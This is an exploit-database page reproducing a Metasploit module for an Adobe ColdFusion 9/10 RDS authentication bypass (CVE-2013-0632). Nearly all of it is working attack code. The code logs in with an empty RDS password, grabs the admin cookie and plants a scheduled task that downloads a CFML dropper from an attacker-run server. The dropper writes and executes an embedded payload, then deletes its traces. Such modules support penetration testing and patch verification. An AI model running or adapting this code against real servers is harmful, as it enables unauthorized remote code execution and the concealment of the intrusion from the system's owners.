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Adobe ColdFusion RDS Authentication Bypass

Adobe ColdFusion RDS Authentication Bypass
Posted Nov 7, 2019
Authored by Scott Buckel | Site metasploit.com

Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Due to default settings or misconfiguration, its password can be set to an empty value. This allows an attacker to create a session via the RDS login that can be carried over to the admin web interface even though the passwords might be different, and therefore bypassing authentication on the admin web interface leading to arbitrary code execution. Tested on Windows and Linux with ColdFusion 9.

tags | exploit, remote, web, arbitrary, code execution
systems | linux, windows
MD5 | b279a1c376f201d8307caf2142e52d50

Adobe ColdFusion RDS Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Module::Deprecated

moved_from 'exploit/multi/http/coldfusion_rds'

Rank = GreatRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion RDS Authentication Bypass',
'Description' => %q{
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
attackers to bypass authentication using the RDS component. Due to
default settings or misconfiguration, its password can be set to an
empty value. This allows an attacker to create a session via the RDS
login that can be carried over to the admin web interface even though
the passwords might be different, and therefore bypassing authentication
on the admin web interface leading to arbitrary code execution. Tested
on Windows and Linux with ColdFusion 9.
},
'Author' =>
[
'Scott Buckel', # Vulnerability discovery
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2013-0632" ],
[ "EDB", "27755" ],
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive, #thanks juan!
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 08 2013'
))

register_options(
[
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
])

register_advanced_options(
[
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
])
end

def check
uri = target_uri.path

#can we access the admin interface?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
})

if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')
vprint_good "Administrator access available"
else
return Exploit::CheckCode::Safe
end

#is it cf9?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
})

img = Rex::Text.md5(res.body.to_s)
imghash = "596b3fc4f1a0b818979db1cf94a82220"

if img == imghash
vprint_good "ColdFusion 9 Detected"
else
return Exploit::CheckCode::Safe
end

#can we access the RDS component?
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
'vars_post' => {
'method' => "login",
'adminpassword' => "",
'rdsPasswordAllowed' => "1"
}
})

if res && res.code == 200 && res.body.include?('true')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
@pl = gen_file_dropper
@payload_url = ""

if datastore['EXTURL'].blank?
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
else
@payload_url = datastore['EXTURL']
upload_payload
exec_payload
end
end

def primer
@payload_url = get_uri
upload_payload
end

def on_request_uri(cli, request)
if request.uri =~ /#{get_resource}/
send_response(cli, @pl)
end
end

def autofilter
true
end

#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
#instead we use a CFML filedropper to embed our payload and execute it.
#this also removes the dependancy of using the probe.cfm to execute the file.

def gen_file_dropper
rand_var = rand_text_alpha(8+rand(8))
rand_file = rand_text_alpha(8+rand(8))

if datastore['TARGET'] == 0
rand_file += ".exe"
end

encoded_pl = Rex::Text.encode_base64(generate_payload_exe)

print_status "Building CFML shell..."
#embed payload
shell = ""
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
#if linux set correct permissions
if datastore['TARGET'] == 1
shell += " mode = \"700\""
end
shell += "/>"
#clean up our evil .cfm
shell += " <cffile action=\"delete\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
#execute our payload!
shell += " <cfexecute"
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
shell += " arguments = \"\""
shell += " timeout = \"60\"/>"

return shell
end

def exec_payload
uri = target_uri.path

print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
print_status("Executing payload...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
})
end

def upload_payload
uri = target_uri.path

@filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea
taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea

print_status "Trying to upload payload via scheduled task..."
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
'vars_post' => {
'method' => "login",
'adminpassword' => "",
'rdsPasswordAllowed' => "1"
}
})

unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
end

#deal with annoying cookie data prepending (sunglasses)
cookie = res.get_cookies

if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
cookie = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
end

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
'cookie' => cookie
})

if res && res.code == 200 && res.body.include?('ColdFusion Administrator')
print_good("Logged in as Administrator!")
else
fail_with(Failure::Unknown, "#{peer} - Login Failed")
end

#get file path gogo
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
'vars_get' => {
'name' => "/CFIDE"
},
'cookie' => cookie
})

unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
end

if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
file_path = $1
print_good("File path disclosed! #{file_path}")
else
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end

print_status("Adding scheduled task")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
'vars_post' => {
'TaskName' => taskname,
'Start_Date' => "Nov 1, 2420",
'End_Date' => "",
'Interval' => "",
'ScheduleType' => "Once",
'Operation' => "HTTPRequest",
'ScheduledURL' => @payload_url,
'publish' => "1",
'publish_file' => "#{file_path}\\#{@filename}",
'adminsubmit' => "Submit"
},
'cookie' => cookie
})

unless res && res.code == 200 || res.code == 302 #302s can happen but it still works, http black magic!
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
end

print_status("Running scheduled task")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
'vars_get' => {
'runtask' => taskname,
'timeout' => "0"
},
'cookie' => cookie
})

if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')
print_good("Scheduled task completed successfully")
else
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
end

print_status("Deleting scheduled task")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
'vars_get' => {
'action' => "delete",
'task' => taskname
},
'cookie' => cookie
})

unless res && res.code == 200
print_error("Scheduled task deletion failed, cleanup might be needed!")
end
end
end

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